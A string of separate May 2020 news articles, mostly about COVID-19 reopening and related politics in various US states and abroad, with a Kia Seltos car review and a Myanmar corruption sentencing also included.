Of course, due to quarantine, these receipts decreased ... This year we expect that there will be $ 10 billion. But this sum will be compensated by the fact that people will not be able to go on holiday abroad, he said.
Citywide, Oakland

Photo: Tenderloin Museum/Facebook

The Bay Area's shelter-in-place order has brought countless events usually held as in-person gatherings online. We're aiming to support local businesses in San Francisco and Oakland by highlighting five of these events each day.

Got a suggestion for an online event based in SF or Oakland? Email our events reporter, Teresa Hammerl.

Here's your SF and Oakland event calendar for Friday, May 22. Hear about "rogue planets", join a socially-distanced drag show or learn about reimagining education through language  all from the comfort of your couch.

Cosmic Conversations with Dr. Jackie Faherty

Photo: Morrison Planetarium at the California Academy of Sciences/Facebook

Join the Morrison Planetarium at the California Academy of Sciences for a Cosmic Conversation with Dr. Jackie Faherty from the American Museum of Natural History in New York City. Faherty will join in conversation with Planetarium director Ryan Wyatt, where theyll share the latest news about rogue planets.

When: Friday, May 22, 11:30 a.m.

How to join: Via Facebook Live

Price: Free

Live Drag for LGBTQ Elders

The Openhouse building at Laguna and Market. | Photo: Google Maps

Openhouse, SF Queer Nightlife Fund, and the Tenderloin Museum are coming together to present Live Drag for LGBTQ Elders, a live drag show where drag queens Dulce De Leche, Per Sia, Princess Panocha, Mary Vice, and Shane Zaldivar will perform in the courtyard of Openhouse, San Franciscos LGBTQ senior housing community.

This performance can be safely viewed by residents and will also bstream live to the general public.

When: Friday, May 22, 4:30 p.m.

How to join: Via Zoom

Price: This special show will kick off Harvey Milk's 90th birthday celebration, a series of events celebrating Harvey's legacy. Openhouse is encouraging everyone to consider a gift of $9, $90, or $900 in honor of Harvey's 90th.

Virtual Artist Talks

Photo: The Crucible/Facebook

Hear from Nico Chen, writer, photographer, and critical learning scientist, in a virtual artist talk hosted by The Crucible. Chen is a Ph.D. student in the Teaching and Learning Department at NYU Steinhardt in New York City, focused on re-imagining education through language. He is also the Fuego Youth Leadership coordinator at The Crucible.

Story continues

When: Friday, May 22, 3 p.m.

How to join: Via The Crucible's website

Price: Free

Latinx & Mental Health Panel

Photo: Mental Health Association of San Francisco/Facebook

Throughout Mental Health Awareness Month, the Mental Health Association of San Francisco is hosting an array of virtual events to bring awareness, foster community, and discuss mental wellness with some influential advocates in the mental health space.

This Friday, actress and mental health advocate Dailyn Santana and Juan Acosta (a member of the Youth Innovation Project Planning Committee for Californias Mental Health Services Oversight and Accountability Commission) will come together for a Latinx and Mental Health Panel. All are welcome to attend.

When: Friday, May 22, 5 p.m.

How to join: Via Zoom

Price: Free

Circus Together - A Virtual Social Hour

Image: Circus Center/Facebook

Miss the Circus Center, a Cole Valley circus school, during shelter-in-place, or just want to hang out with like-minded folks? Community has always been at the heart of Circus Center, so this Friday the school is hosting a virtual social hour  Pour yourself a drink and connect with Circus Center friends, instructors and staff. There will be breakout rooms for each department (including Aerial, Acro, Clowns and Flyers).

When: Friday, May 22, 6 p.m.

How to join: Via Mindbody

Price: Free
Bars and restaurants need to consider installing sneeze guards at their registration areas. Public transport workers should close each other row of their buses' seats. Students on the other hand, should eat lunch inside their classrooms instead of cafeterias.

These are few of the social distancing guidelines that the Centers for Disease Control and Prevention or CDC enumerated in a document it discreetly released on its website this week, as it outlined its recommendations for the reopening of schools, child care programs, restaurants, and mass transits across the United States during the COVID-19 pandemic.

The document, 60 pages in all, which was posted on the website of CDC without a declaration from the public health agency accompanying it, took place a few weeks after several states announced they have already ended, or partially ended their lockdown measures.

More so, the document is crated amid reports of conflict between the White House and CDC. Relatively, the White House recently released its own plan dubbed as "Opening Up America Again" last month that incorporated some suggestions of the CDC.

However, despite the inclusion of the CDC recommendations in its plan, the White House, reports said, it has "largely left reopening decisions up" to the local government officials and the governor.

Coordinated, National Approach Shelved

According to a report from the Associated Press, the coordinated, national approach of CDC, with more comprehensive details and limitations, had been reportedly canceled by the officials of the Trump administration." The shelving, according to the report was because CDC's approach was too specific.

CDC warned that not all companies and institutions should restart yet, according to the number of COVID-19 cases in their respective local areas.

More so, the agency suggested a "three-phase approach" as well, for every community, each one more lenient than the last, as long as the infection rates do not spike.

Based on the guidelines posted, the first step of the plan for the school, for instance, is that, schools that are closed should stay shut. Then, in the second step, according to the CDC, they could already open applying social distancing guidelines.

In the third step, schools, for example, could be open along with distancing guidelines and limited attendance to areas that have limited contagion of COVID-19.

The CDC also acknowledged, citing the likelihood of a new outbreak that as some communities will sequentially progress through the phases of restarting, there is the probability of reactivation of the virus in some areas.

Thorough Disinfection and Face Covering

Essentially, CDC also recommended thorough disinfection for all institutions. Specifically, disinfecting should be made in high-traffic areas such as playground equipment at schools and daycare facilities, door handles of establishments, and entrances and barriers in various mass transit stations."

Aside from disinfecting, CDC recommends too, the use of face coverings anytime, anywhere, especially in places where it would not be possible to practice social distancing. Specifically, it urged the staff members in child care facilities and playschools, as well as those directly contacting older students in schools.

Johns Hopkins Center for Health Security professor and visiting scholar, Tener Goodwin Veenema said she welcomed the federal guidance. However, she added, she felt that some occurrences, the wordings of CDC "Was too weak," referring to examples where the particular document termed "measures as 'considerations.'"

Specifically in the document, CDC advised that for bars and restaurants, for example, to consider designating "workers at high risk for severe illness duties" that lessen their contact with the other employees, not to mention their clients.

Veenema also added that, the tension among agencies has resulted in so much confusion. It has also spread fear. And as a result too, she pointed out, the tension has led to some confusing decision-making.

Check these out!
The most powerful person in Michigan is a woman.

That reality animates sexist sentiments, ranging from veiled remarks about gender to overtly misogynist attacks, that are often lobbed at women leaders, experts say.

Examples of gender-specific digs are widespread; Gov. Gretchen Whitmer has been cast as an overbearing mother, a nanny, witch, queen and a menopausal teacher punishing her students with edicts to prevent the spread of COVID-19.

Whitmer, a former lawyer and prosecutor, was quietly accused online of being too stupid to lead the state while she opened a recent press conference. Another Facebook viewer called Whitmer a nasty woman, echoing a phrase then-presidential candidate Donald Trump used to scorn Hillary Clinton.

The president struck Whitmer with a similar brand weeks earlier. Armed protesters who cursed that woman outside her Lansing home brought a trailer decorated with Trumps name.

The governor has been called worse. Tyrant b---h appeared on a sign at another demonstration organized by conservative activists last month. Others suggested Whitmer should get the rope.

Blatant sexism and threats of violence have become a more prominent feature of backlash to Whitmers orders since her COIVD-19 response started two months ago. A series of rebellious public protests, supported by private social media groups, elevate sexist rhetoric alongside calls to end Whitmers emergency orders.

The most obvious example came last week when Republican state House candidate and convicted felon James Chapman hung a female doll by a noose outside the Michigan Capitol. The brown-haired and unclothed doll was an effigy representing Whitmer, Chapman said.

One day later, a 32-year-old Detroit man was arrested for allegedly making death threats against the governor. He was charged with false report of threat of terrorism.

Another man brought Chapmans noose prop to a gathering of the presidents supporters Thursday. Trump was in Michigan visiting Fords Rawsonville manufacturing plant in Ypsilanti Township.

Emergency measures adopted by governors of other states also brought on protests, but Michigans demonstrations were among the earliest and most virulent. The majority of residents surveyed in a series of polls approve of Whitmers handling of the outbreak, but less so among Republicans.

As of Thursday, 5,129 people have been killed by COVID-19 in Michigan. A total of 53,510 have tested positive and 28,234 recovered, according to state data.

The governor has implemented some of the strictest stay-at-home orders in the country, causing backlash from elected officials and residents that isnt all focused on her gender. Whitmers orders put 1.7 million residents out of work but have been credited with preventing the worst-case scenario of infections in Michigan.

However, a vocal group of critics routinely highlights the governors gender while railing against her orders.

"I think the most frustrating part is the idea that all the criticisms are subtly veiled in gender stereotypes," said state Sen. Adam Hollier, D-Detroit. "You hear, 'hey, this isn't a nanny state.' I've heard folks saying, 'I didn't elect a mommy to take care of the state.' You've never heard someone refer to a male governor or the president saying 'I don't need my dad telling me what to do.' I've never heard anyone refer to (Detroit) Mayor Mike Duggan as their dad."

"With the governor, it's always 'mom.'"

Whitmer did not respond to a request for comment for this story but offered one example of how she used to handle these incidents during a recent interview with Newsweek.

One of my colleagues said something really outrageous to me on the floor of the Senate about 10 years ago, Whitmer said. "And I remember doing that calculation about how to respondand I had to do it in a split second. Do I tell him off or do I try to educate him? Do I laugh about it? I came up with my own solution at the time.

I said, what the F is wrong with you, Whitmer said.

The governor hasnt been so blunt during her time as the executive. Whitmer has tread carefully when discussing sexism, though she expressed concerns about some the violent nature of comments made at recent demonstrators.

When you see some of the ugly threats that have been made online around these protests, I think you can conclude there is a gender facet to this, Whitmer told MLive last week, the same day Chapman hung his doll at the Capitol.

Susan Douglas, a feminist cultural critic and professor at the University of Michigan, said gender-based attacks are rooted in fear. Specifically, the tension associated with women taking the reins of political power.

This certainly stems from a fear and hatred of women; an anxiety and anger that a woman might be able to tell you what to do and have control over government policies, Douglas said. It violates the notion that men and only men can be decision-makers and leaders. For these guys, and they are mostly white men, I think the fact that shes a woman makes them feel more empowered to go after her.

Whitmer, the second female governor in Michigans 183-year history, has been open about the sexism shes faced throughout her rise in state politics. Whitmer was included on Maxim magazines list of the Worlds Hottest Politicians as a state senator. The author speculated she could serve on the magazines Leering Committee.

The attacks have become more evident since Whitmer was elected in 2018 alongside an all-female slate of executive leaders. A record number of women were also elected to Congress that year.

For the first time in state history, the positions of governor, attorney general, chief justice of the Supreme Court and the secretary of state are all held by women. Whitmers right-hand throughout the coronavirus response is also a woman; Chief Medical Executive Dr. Joneigh Khaldun.

State Sen. Winnie Brinks, D-Grand Rapids, said negative feelings about the change in leadership was likely worsened by the shift in partisan power. Republicans in control of the state Legislature have worked to strip Whitmer of the ability to make unilateral decisions during the crisis.

I think the whole point of challenging her power is a failure to accept the results of the election, Brinks said. The governors position is a very powerful one. Theres a failure to accept that on their part because they dont like it. Id say that thats kind of a partisan thing, in general, but I think its exacerbated by the fact that shes a female.

Brinks said it's "impossible to ignore an element of sexism" that overshadows legitimate disagreements about Whitmer's decisions. She said Senate Majority Leader Mike Shirkey and House Speaker Lee Chatfield haven't done enough to condemn bad actors.

Both denounced protesters who created an unsafe environment at the Capitol -- Shirkey said people using intimidation tactics are a bunch of jackasses -- but havent addressed sexism specifically. Neither responded to a request for comment.

Shirkey spoke at a protest in Grand Rapids Sunday guarded by Michigan militia members, the same group that brought tactical gear and assault-style rifles to the Capitol. The event was attended by one woman dressed as Whitmer with a Hitler mustache.

Thats my biggest complaint: The vast majority of Republicans in the legislature have been completely silent, Brinks said. Then theres been a group of people who overtly and openly encouraged this negative behavior. You can call protesters names one day, but if youre meeting with them and chit-chatting and yucking it up, then the condemnation of that negative behavior does not really hold a lot of water.

Sam Inglot of Progress Michigan, a liberal activist organization, has been pushing Chatfield and Shirkey to take a more proactive role in censuring GOP lawmakers who spread conspiracy theories and toxic rhetoric. Inglot said the legislative leaders also have a rocky history of making gender-based remarks.

Lee Chatfield has tweeted about how these folks are governing by emotion, not logic, which is a common sexist term that we hear, Inglot said. Mike Shirkey referred to Governor Whitmer as bats--t crazy. I think a lot of this sexism that we do see, it starts at the top.

The protests also serve as campaign events for Trump, who has suspended rallies due to the threat of the coronavirus. Michigan events have been organized by activists working on his re-election campaign and often feature protesters carrying Trump flags and Make America Great Again hats.

Inglot said protesters are the same people who praise male leaders like former Gov. Rick Snyder and Trump for taking strong decisive action.

These folks did not take that same type of angle when Rick Snyder was literally eroding local democracy with his emergency manager laws, Inglot said.

Trump embraced the protesters, calling them very good people and urging Whitmer to make a deal with them. Douglas said Trumps history of targeting womens appearance and making sexist remarks has emboldened a segment of agitated followers.

You never heard Barack Obama or George Bush, or Ronald Reagan saying any of the kinds of things, and rendering them acceptable to say, that Trump has said about women or people of color, its just completely off the charts, Douglas said. He really took a lid off what was taboo, what was unspeakable, what you just didnt say. He made all of that seem like it was honest, and that there was a much wider stratum of society than there is, in fact, that embraces these ideas."

The Republican National Committee said it has continually denounced all threats and displays of violence, but did not comment on misogyny displayed by some protesters.

The worst examples of misogyny can be found in private Facebook groups that serve as the main hub for organized resistance against Whitmers pandemic response. The pages are full of furious tirades against Whitmer, who users called a Nazi, spawn of the devil, wicked witch, "Gestapo Gretchen, and other names.

Steve Neavling, an investigative reporter with the Metro Times, has been closely following the hostile atmosphere inside closed Facebook pages for months. He gained access to four private Facebook groups with a combined 400,000 members, which he described as an echo chamber of sexism and violence" against Whitmer and other female leaders like Attorney General Dana Nessel and Khaldun.

The center of all of all of the attacks is that these are women in positions of authority telling them what to do, he said.

Neavlings recent report followed a January investigation into a public Facebook page that featured dozens of posts promoting violence against Whitmer and other female politicians. He said its more common to see misogynist comments than substantive criticism of policy.

This includes loose talk of assassinating Whitmer, according to the Metro Times report.

The Facebook groups are filled with sexist epithets and comments about the governors appearance, Neavling said. I mean I remember when people were angry with (Rick Snyder) over the Flint water crisis, no one ever was talking about what he looked like in his suit.

Douglas said female leaders can have a difficult time calling out sexism without appearing weak to critics.

You dont want to make charges of sexism because it makes you look like youre whining, she said. It makes you look like youre complaining, you know, it makes you look like youre pulling the gender card. I think she feels on safer ground pointing out the political motivations behind this. Shes the governor of the state; she doesnt want to be seen as a victim.

Hollier said its incumbent on everyone -- men, women, Republicans and Democrats -- to speak out when they see examples of sexism.

I just cant imagine a world where words dont matter, Hollier said. I love it when people say, well, thats just being politically correct. No, you just are saying that what you think is no longer acceptable. We have standards in society. We have norms and rules.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

READ MORE

Complete coverage at mlive.com/coronavirus

Monday, May 18: Latest developments on coronavirus in Michigan

Man who tested positive for coronavirus arrested after spitting at, threatening ER staff

How coronavirus arrived and the curve flattened in Livingston County
Due to limits on large gatherings because of the new coronavirus, a public ceremony will not be held as usual at Houston National Cemetery on Memorial Day.

However, the cemetery will be open to the public over the weekend for loved ones to pay homage.

This year, by necessity, will be different from past Memorial Day observances, said Roy Luera, the cemeterys director, in a news release. While we cannot hold a large Memorial Day program as was typical in years past, we will still honor Veterans and service members with the dignity and respect they have earned through their service and sacrifice.

Those interested in watching the Memorial Day ceremony, which will only be open to news outlets, can view through local media coverage, according to the release. The cemetery was originally dedicated in December 1965 and is located on a former dairy farm in northwest Houston, the release said.

Over the weekend, the site will be open from dawn until dusk and visitors can place flowers and flags at their loved ones grave site. Visitors are encouraged to practice physical distancing and visit Friday, Saturday and Sunday to avoid possible crowds, the release said.

Those interested in paying tribute virtually can also visit the Veterans Legacy Memorial website, which was originally started in 2019. A person can share memories or show support online for any veteran and service member interred in a Veterans Affairs national cemetery, according to the release.

At Houston National Cemetery, interments are still provided for veterans and others who are eligible. However, committal services and the rendering of military funeral honors has stopped until further notice, according to the release.

Immediate family members of no more than 10 are allowed to view the interment of their deceased loved one.

Over the weekend, those interested in honoring fallen service members from the Houston area can also participate in Houston Run for the Fallen.

The event is being organized by U.S. Air Force Recruiting - Houston is asking for people to pick one of 76 service members from the Houston area who have died since Sept. 11, and run, jog or walk a mile in their honor throughout the weekend.

Those interested can find a list of fallen service members online and also sign-up on the groups website www.usafhtx.com/run/ere.

brooke.lewis@chron.com
Gov. Tom Wolf announced eight more counties will move into the yellow phase of the coronavirus mitigation plan on May 29, and the first 17 counties will go to the green phase next week as well.

The governor said all of Pennsylvania will be lifted from the stay-at-home order by June 5.

Wolf made the announcements in a news conference Friday afternoon.

You can watch him online here or via Facebook Live.

Here are the counties that will be lifted from the stay-at-home order and enter the yellow phase on May 29: Dauphin, Franklin, Huntingdon, Lebanon, Luzerne, Monroe, Pike, and Schuylkill.

The Wolf administration also announced 17 counties will go to the green phase on May 29, which means all businesses can reopen as long as they follow state and federal guidelines.

These counties go green next week: Bradford, Cameron, Clarion, Clearfield, Crawford, Elk, Forest, Jefferson, Lawrence, McKean, Montour, Potter, Snyder, Sullivan, Tioga, Venango and Warren.

While these counties will see a return to near normalcy, some precautions will continue to be in effect for the safety of residents, Wolf said.

Wolf said bars and restaurants can reopen dining room service in green counties, but they may have reduced capacity. Large gatherings, such as concerts, festivals and sporting events, will continue to be restricted, Wolf said.

Health Secretary Dr. Rachel Levine said the green counties have shown they are ready to move to the green phase because case levels have remained low and they also have sufficient hospital capacity.

When asked if some high schools could proceed with graduation ceremonies, Levine said local schools would have to make their own decisions. But she said even in the green phase, counties will still face some restrictions on the size of gatherings. She did not specify what those limits would be.

Well be putting out the specific guidance for green counties next week, Levine said.

Wolf said the states efforts to slow the spread of the virus have been difficult but they have been effective. With social distancing and aggressive mitigation efforts, the number of coronavirus patients in hospitals has dropped by about 1,000 since early May.

We know not only that we succeeded in slowing the growth, but that our actions or collective decisions to stay at home and avoid social contact, we know that all that saved lives, Wolf said.

When asked if he was responding to pressure in lifting restrictions, Wolf said the state knows more about whats happening with this virus and where were showing success.

Wolf was asked why the date of June 5 was selected. Wolf said it looks like every county can be removed from the stay-at-home order within two weeks.

The governor was asked if he truly has a plan for reopening the state. Wolf said the state has taken steps based on whats happening around the state.

He noted the state has ramped up testing. The state is now performing more than 13,000 COVID-19 tests daily, up from around 7,900 on May 8, an increase of 65 percent.

Weve always had one focus and thats doing everything we can to defeat this virus, Wolf said. The governor said state officials know more about the coronavirus than two months ago.

Pennsylvania has been one of the states hit hardest by the coronavirus. More than 66,000 residents have been infected and nearly 5,000 deaths have been tied to COVID-19, according to the state Department of Health.

One county was offered the chance to move to the green phase but opted against it.

Centre County was initially going to be moved to the green phase, but Wolf said local officials in Centre County said they didnt feel they were ready for that move. So Wolf said he deferred to the wishes of county officials.

The governor was asked about President Donald Trumps call for all churches to be opened for the Memorial Day holiday weekend.

Wolf has called on church leaders to practice social distancing and on Easter, he encouraged Pennsylvanians to pray and worship at home. But Wolf said Friday he has never closed churches.

I think your first mission is to keep your parishioners safe, your congregants safe and thats always been true so we actually never shut down the religious organizations," Wolf said.

The governors reopening plan has three phases with colors reflecting the traffic light: red, yellow and green. The red, of course, reflects counties remaining under a stay-at-home order. In the yellow phase, more businesses can reopen with some restriction.

The green phase is the least restrictive phase. But the Wolf administration hasnt said what benchmarks are required to go green.

Earlier Friday, 12 more counties moved to the yellow phase: Adams, Beaver, Carbon, Columbia, Cumberland, Juniata, Mifflin, Perry, Susquehanna, Wyoming, Wayne, and York.

There are now 49 counties in the yellow phase. Those counties cover western Pennsylvania, much of the states northern tier and much of central Pennsylvania.

In the yellow counties, more businesses can reopen but companies are encouraged to allow employees to work remotely. Retailers can open their doors but are encouraged to offer curbside services. Restaurants and bars are still limited to takeout and delivery.

Even in yellow counties, movie theaters, casinos, gyms, nail salons and barber shops are closed, under the Wolf administration guidelines. Gatherings of more than 25 people are prohibited.

Gov. Tom Wolf's red, yellow and green phases reopening Pennsylvania after coronavirus-related shutdowns in 2020. (Graphic via the governor's office.)

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United Nations, May 22 : The Unicef has warned of the dangers for migrant children who are being forcibly returned during the COVID-19 pandemic.

Since early March, at least 1,000 unaccompanied migrant children have been returned from the US to Mexico and El Salvador, Guatemala and Honduras despite serious protection risks in their communities of origin aggravated by COVID-19, reports Xinhua news agency.

Over the same period, at least 447 migrant children were returned from Mexico to Guatemala and Honduras, the Unicef said on Thurday.

It warned that acts of violence and discrimination are being perpetrated against returnees perceived to have been infected with the disease and that they face major protection risks during their reintegration.

"For children on the move across the region, COVID-19 is making a bad situation even worse. Discrimination and attacks are now added to existing threats like gang violence that drove these children to leave in the first place," said Unicef Executive Director Henrietta Fore.

"This means many returned children are now doubly at risk and in even greater peril than when they left their communities. It is never in a child's best interest to be sent back to an unsafe situation." Limited public information about COVID-19 testing, treatment and containment protocols in the region is causing confusion and fear among returnees and the general population.

In some communities, there are worries that children and families returned from the US and Mexico could be carrying the virus. This has led to further stigmatization of migrants, said the agency.

It has received reports of communities in Guatemala and Honduras barring physical entry to outside groups or strangers, including returnees, to prevent local transmission of the disease.

Unicef is calling on all governments to end pushbacks and deportations of unaccompanied or separated children, as well as children with their families without prior adequate protection and health screenings.
2021 Kia Seltos Review | Value Plus by Larry Nutson +VIDEO

Value Plus

By Larry Nutson

Executive Editor and Bureau Chief

Chicago Bureau

The Auto Channel

It seems you never can have enough SUVs these days. Automakers keep loading the market with new models. For the new vehicle buyer thats a good thing with more to choose from. Kia is not missing out and just added the new Seltos to its lineup.

The 2021 Kia Seltos is an all new, entry-level model in the subcompact crossover class. In the Kia lineup it fits between the Soul and the Sportage. Out in the marketplace it competes against its sister brand Hyundai Kona and also the likes of the Mazda CX-3, Ford EcoSport, Nissan Kicks and a wide range of entries from many brands.

With a 172 inch overall length, the 5-seat Seltos is the right size for negotiating a crowded large city. Out in the burbs it will do just as well, offering decent interior space in a compact exterior while leaving space for household tools and toys in your garage.

Seltos is available in five trims: LX, EX, S 2.0L, S 1.6T and SX with two engine choices. Standard is a 146-horsepower 2.0-liter four-cylinder mated to a continuously variable automatic transmission. A 175-horsepower turbocharged 1.6-liter four-cylinder with a seven-speed dual-clutch automatic delivers more go power. The S 2.0L trim is front-wheel drive, while all other trims come standard with all-wheel drive.

Theres 7.3 inches of ground clearance so you can travel some unpaved roads or also to help you make it through some deepish snow. Rear cargo area is a roomy-for-its-size 26.6 cu.ft. that opens up to 62.8 cu.ft. with the rear seat folded. Theres also a two-level rear cargo floor to help with carrying a big item.

All in all theres decent interior space in the Seltos that makes it a suitable choice for individuals or couples of varying generations wanting a subcompact SUV.

On the outside the Seltos styling is eye catching and attractive. It looks like an SUV and has some nice upscale design details. Skid plates up front and in the rear suggest a bit of off-roading. Dual exhaust outlets help provide the power image.

The 2021 Kia Seltos offers a full array of advanced driver-assistance safety (ADAS) features packaged in Kias Drivewise Technology. Seltos tech features include an 8-inch infotainment touchscreen, Apple CarPlay and Android Auto, a wireless charging pad, and an eight-speaker Bose sound system. An optional 10.25-inch screen with navigation is available.

The 2021 Seltos pricing starts at $21,990. Interestingly, both the front-drive S trim and the all-wheel drive Seltos LX are priced at this. The Seltos S with AWD is $23,490, the Seltos EX is $25,290, Seltos S 1.6T is $25,490 and 2021 Setos SX tops out at $27,890. Add the $1,220 destination charge to each.

Kia offers a selection of port installed options. The only two factory installed options are a power sunroof for $700 and two-tone or bi-color paint (black or white roof) for $345.

For my Chicagoland evaluation I drove an 2021 Kia Seltos S AWD with the 175-HP 1.6-L turbo engine. This engine delivers plenty of punch and the 7-speed DCT did a nice job of getting the right gears. Different drive modes (Normal, Eco, and Sport) can be selected that change powertrain, drivetrain and steering mapping to make for more fun or increased economy. Some folks comment about the different feel of a DCT compared to a traditional automatic with a torque converter. Well yes, there is a slight different feel, but thats not a bad thing.

The 2021 Kia Seltos interior is quite comfortable with a good driving position. I didnt notice any objectionable wind, tire or powertrain noise during my drives. Theres a couple old-school elements on the S-trim like a key-operated ignition and rotary controls for HVAC. Note that push button start and automatic HVAC control are equipped on the EX and SX. Theres no shift paddles, but thats okay. Not every vehicle should have them. The 2021 Kia Seltos touchscreen is easy to access and knobs are used for audio control, with redundant steering wheel controls.

EPA test-cycle ratings for the 2021 Kia Seltos 1.6-L turbo are 25 city mpg and 30 highway mpg. The Seltos 2.0-L is rated a touch better at 27 mpg city and 31 mpg highway. I didnt make any fuel economy runs but my experience with Kia vehicles is that its quite easy to meet and also beat the EPA ratings.

More official information and details on the 2021 Kia Seltos can be found HERE Note Kias strong 5 year/60,000 mile basic warranty including roadside assistance.

SUVs are no doubt so popular because they provide great versatility. From the smallest to the largest there is something to meet everyones needs. Its important to figure out your needs and not buy too little or too much. The 2021 Kia Seltos will work well as the only vehicle in a household of perhaps a young couple with a toddler or two, or for some empty nesters who need a bit of versatility for a weekend road trip.

Kia has been on a roll. They won big at the 2020 World Car Awards with the Telluride named World Car of the Year and the Soul EV World Urban Car. And, the Kia brand overall has received many accolades and awards.

Now with the new 2021 Kia Seltos offering a really good value with an upscale look across various trim levels to meet an individuals needs Kia continues to deliver.

 2020 Larry Nutson, the Chicago Car Guy
Jo Rae Perkins, who won Oregon's Republican Senate primary this week, is refuting her own campaign's statement from Wednesday that she does not believe in the QAnon conspiracy theory.

What's new: Perkins reiterated her support for QAnon to ABC News in an interview out Friday. The Senate nominee said she was literally physically in tears after reading the campaign statement with her name on it, which claimed she "would never describe herself as a follower."

Flashback Perkins first suggested she supported the theory  which centers around an anonymous internet user claiming to wage war against the "deep state" from within the federal government  in a now-deleted video on Twitter. In the post she said, "I stand with Q and the team," before using one of QAnon's rallying cries.

"To be very clear, I do not believe everything from Q/Anon and would never describe myself as a follower, but I also do not believe in infringing upon any outlet's right to discuss news or topics. This is the same as those on the Left who read what Julian Assange or George Soros or Bill Gates says or writes, for that matter."

 Perkins' Tuesday campaign video that has since been deleted

What she's saying now: "My campaign is gonna kill me ... How do I say this? Some people think that I follow Q like I follow Jesus," Perkins told ABC Friday. "Q is the information and I stand with the information resource."

Perkins explained that she misread the statement posted by her campaign to her personal Twitter account distancing herself from QAnon. I scanned it and said, yeah, it looks good to me and out it went. And then I saw it afterwards and I am like, literally was in tears, literally physically in tears because I'm so blown away. Because I went, crap, thats not me. And I don't back down."

I'm not backpedaling and I'm frustrated. I feel like I'm having to backpedal..."

The big picture: Many Republicans have been reluctant to unite around Perkins.

The Republican National Committee did not comment when ABC asked about supporting the nominee. The National Republican Senatorial Committee did not explicitly back Perkins either.

What to watch: Perkins will face off against Democratic Sen. Jeff Merkley in November. Cook Political Report rates the race as "solid Democrat."
Meghalaya Chief Minister Conrad



K Sangma on Friday said his government has donated 5,000 Viral Transport Media (VTMs) to Assam as COVID-19 positive cases are increasing by the day in the neighbouring state.

The VTM is used for collecting blood samples of persons with suspected coronavirus infection.

"We are glad to assist Assam in their fight against COVID-19 by supporting them with 5,000 viral test [sic] media. We have enough VTMs in our stock to test all those coming from outside NE. Together we can...," Sangma tweeted.

Meghalaya has only one active COVID-19 case, while 12 patients have recovered and one person died of the disease till date.

Meanwhile, the testing capacity of Meghalaya has increased to 400 a day.

"Because of the hard work and commitments of Dr Anil Phukan, Head of Microbiology at North Eastern Indira Gandhi Regional Institute of Health and Medical Sciences, his team and the new RT-PCR machine that has been set up at the institute, the testing capacity has now increased to 400 tests per day," Conrad said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Burma Ex-Regional Chief Minister Jailed for 30 Years in Landmark Myanmar Corruption Case

Then Tanintharyi Region Chief Minister Daw Lei Lei Maw in 2017 / Myo Min Soe / The Irrawaddy

YANGONFormer Tanintharyi Region chief minister Daw Lei Lei Maw was sentenced to a total of 30 years in prison for bribery on Friday, becoming the most senior official ever to be jailed under the countrys Anti-Corruption Law.

The Tanintharyi Region Court handed down sentences in four cases against her and three others on Friday after more than a yearlong trial.

Daw Lei Lei Maw was arrested in March last year, right after the Anti-Corruption Commission (ACC) filed the four cases under Article 55 of the Anti-Corruption Law, each carrying sentences of up to 15 years in prison. She was sacked from her position following her arrest. The court also confiscated a house owned by Daw Lei Lei Maws family in Thayetchaung Township, declaring it to be state property.

In two of the cases, Global Grand Services (GGS) managing director U Thein Htwe, director U Aung Myat and general manager U Thura Ohn were charged with abetting and conspiring to commit corruption under articles 55 and 63 of the Anti-Corruption Law. The two directors received 10 years imprisonment each and the general manager was sentenced to a five-year term, local media outlet Dawei Watch reported.

The ACC found that Daw Lei Lei Maw abused her position and committed corruption on a number of occasions since April 2016just weeks after she was appointed as head of the regional government.

She was charged with corruption in relation to a contract worth 400 million kyats (US$280,000) to clear land of bushes outside Dawei Airport, and for failing to pay the regional Road Management Department for a wall it built around land plots in Dawei owned by her husband until after the ACC started its investigation. In a separate incident, she was also found to have inappropriately allocated a large amount of funds to the department. She also sold her house, which was valued at 32 million kyats, to GGS for 200 million kyats and abused her power to award an electricity distribution contract to GGS.

The company was also awarded contracts to construct a fish market, the city hall building and low-cost housing.

Daw Lei Lei Maw, who was formerly an elected representative for the National League for Democracy (NLD) from the region, is the first chief minister and the highest-ranked official to be charged under the Anti-Corruption Law since the NLD took power in 2016.

You may also like these stories:

Myanmar Pharmaceutical Factory General Managers Corruption Hearing Delayed

Tanintharyi Chief Minister Sues Local Newspaper over Satirical Article

New Tanintharyi Chief Minister Pledges to Tackle Power, Land Issues
Editors note: This weeks column is guest written by Middlesex United Way intern Kaitlin Binnington. President and CEO Kevin Wilhelm will return next week.

MIDDLETOWN  In light of the coronavirus pandemic, Middlesex County and the rest of Connecticut have taken tremendous leaps toward working from an asset-based and strengths-based framework, rather than the traditional deficit model.

Weve made masks for our essential workers and most vulnerable. Weve created opportunities for businesses and schools to work together to bring food to our children and people in poverty. Weve raised money through both the statewide COVID-19 Response Fund and the local 2020 ALICE fund to give to those suffering the most because of the coronavirus.

Weve even changed our entire method of functioning to a virtual model to keep those around us safe. And most of all, weve come together to love and serve one another in one of the most desolate times in recent history. Its incredible.

Throughout this pandemic, Middlesex United Way has been given so many new opportunities and new ways to serve the community outside its normal capacity, and, as an intern, Ive enjoyed and appreciated having the chance to learn these new processes and skills. Ive used my internship platform over the past few weeks to partner with Middletown Works.

A program designed to create systemic change for single parents in poverty within our community, to begin the work of asset mapping using an appreciative inquiry model. When asked about why Middletown Works is interested in asset mapping, program director Rebecca Lemanski said, Asset mapping, using the asset based community development model is needed now, more than ever.

As we see COVID-19 ravaging low income, marginalized, communities, it is imperative for neighborhood leaders to focus on capacities, gifts and assets within a community. Middletown Works mirrors this approach, as we are relationship driven and as we intentionally build relationships with lower income individuals and families, they become partners with us and become invested in helping to co-create a new, more prosperous vision for their community, Lemanski said.

Middletown Works recognizes the importance of this and affirms the great work already going on in our community. In fact, one of our values is collaborative leadership. The bottom line is this: what we focus on is what we find. If we search for assets, we will find assets, she added.

Asset mapping is exactly what it sounds like: We are creating a map of the strengths and assets in our community around workforce development, economic development and education.

